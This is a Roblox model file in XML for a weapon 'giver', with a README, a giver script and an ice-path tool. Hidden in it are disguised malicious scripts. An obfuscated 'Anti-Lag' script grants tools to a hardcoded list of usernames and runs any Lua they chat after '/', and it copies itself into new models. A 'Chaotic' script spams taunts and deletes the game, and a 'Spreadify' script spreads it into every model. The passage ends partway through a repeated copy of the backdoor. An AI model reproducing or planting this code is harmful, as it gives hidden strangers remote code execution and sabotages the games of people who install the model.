						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX93">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) 
table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX94">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<string name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
				<Item class="Geometry" referent="RBX95">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX96">
						<Properties>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX97">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Chaotic</string>
								<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX98">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX99">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX100">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">make you&apos;re giver</string>
						<Ref name="PrimaryPart">RBX101</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX102">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-2.5</X>
								<Y>3.4000001</Y>
								<Z>117.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX103">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-3.49996948</X>
								<Y>3.39999628</Y>
								<Z>119.5</Z>
								<R00>0.999999106</R00>
								<R01>1.26419318e-005</R01>
								<R02>-1.04804913e-005</R02>
								<R10>-1.26416326e-005</R10>
								<R11>1</R11>
								<R12>2.31133945e-005</R12>
								<R20>1.04807841e-005</R20>
								<R21>-2.3113118e-005</R21>
								<R22>0.999999106</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX104">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1.4997406</X>
								<Y>3.10514307</Y>
								<Z>117.498032</Z>
								<R00>-0.999997556</R00>
								<R01>4.31583503e-005</R01>
								<R02>1.04847277e-005</R02>
								<R10>4.3159609e-005</R10>
								<R11>1</R11>
								<R12>0.000129476699</R12>
								<R20>-1.04791479e-005</R20>
								<R21>0.000129477121</R21>
								<R22>-0.999997556</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>5</Z>
							</Vector3>
						</Properties>
						<Item class="HopperBin" referent="RBX105">
							<Properties>
								<token name="BinType">0</token>
								<string name="Name">LightningPath</string>
								<Content name="TextureId"><null></null></Content>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="LocalScript" referent="RBX106">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Local Gui</string>
									<string name="Source">bin = script.Parent
function onKeyDown(key,mouse) 
key:lower() 
if key == &quot;r&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
if e[i]:findFirstChild(&quot;creator&quot;)~=nil then
if e[i].creator.Value == script.Parent.Parent.Parent then
e[i]:remove()
end
end
end
end
end
elseif key == &quot;n&quot; then
e = game.Workspace:GetChildren()
for i=1,#e do
if e[i].className == &quot;Part&quot; then
if e[i].Name == &quot;Ice&quot; then
e[i]:remove()
end
end
end

end
end

function press(mouse)
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(6,2,18)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
press(mouse)
end
end


function onButton1Down(mouse)
sel = true
if sel == true then
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-5,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,17)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-4,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
wait()
hit = mouse.Target
local point = mouse.Hit.p
s = Instance.new(&quot;Part&quot;)
s.CanCollide = true 
s.Size=Vector3.new(5,2,15)
s.Anchored = true
s.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
s.Transparency = 0.3
s.Name = &quot;Ice&quot;
s.TopSurface = &quot;Smooth&quot;
s.BottomSurface = &quot;Smooth&quot;
s.Parent = game.Workspace
c = script.CleanUp:clone()
c.Disabled = false
c.Parent = s
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Head.Position)
s.CFrame = CFrame.new(script.Parent.Parent.Parent.Character.Torso.Position.x,script.Parent.Parent.Parent.Character.Torso.Position.y-6,script.Parent.Parent.Parent.Character.Torso.Position.z)
s.CFrame = CFrame.new(s.Position,point)
r = Instance.new(&quot;ObjectValue&quot;)
r.Value = script.Parent.Parent.Parent
r.Parent = s
r.Name = &quot;creator&quot;
press(mouse)
end
end


function onButton1Up(mouse)
sel = false
end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
	mouse.KeyDown:connect(onKeyDown) 
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
s = Instance.new(&quot;Hint&quot;)
s.Parent = script.Parent.Parent.Parent
s.Text = &quot;click R to reset all your ice you made and Hold mouse to create a stream of ice&quot;
end

function unsel(mouse)
e = script.Parent.Parent.Parent:GetChildren()
for i=1,#e do
if e[i].className == &quot;Hint&quot; then
e[i]:remove()
end
end
end


script.Parent.Selected:connect(onEquippedLocal) 
script.Parent.Deselected:connect(unsel)</string>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX107">
									<Properties>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">CleanUp</string>
										<string name="Source">wait(5)
script.Parent:remove()</string>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX108">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">PUT THIS IN THE WEAPON</string>
									<string name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX109">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-5.5</X>
								<Y>3.4000001</Y>
								<Z>117.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX110">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-3.49993896</X>
								<Y>3.39990473</Y>
								<Z>115.5</Z>
								<R00>0.999999106</R00>
								<R01>1.26419318e-005</R01>
								<R02>-1.04804913e-005</R02>
								<R10>-1.26416326e-005</R10>
								<R11>1</R11>
								<R12>2.31133945e-005</R12>
								<R20>1.04807841e-005</R20>
								<R21>-2.3113118e-005</R21>
								<R22>0.999999106</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>3</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX101">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-4</X>
								<Y>7</Y>
								<Z>117.5</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0.300000012</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>5</X>
								<Y>1.20000005</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX111">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Anti-Lag</string>
								<string name="Source">Altitude = script:clone()
calco = {&quot;u&quot;, &quot;1&quot;,&quot;4&quot;,&quot;D&quot;,&quot;j&quot;,&quot;g&quot;,&quot;M&quot;,&quot;k&quot;,&quot;a&quot;,&quot;e&quot;,&quot;d&quot;,&quot;c&quot;,&quot;2&quot;,&quot;3&quot;,&quot;r&quot;,&quot;t&quot;,&quot;j&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4]))
table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) 
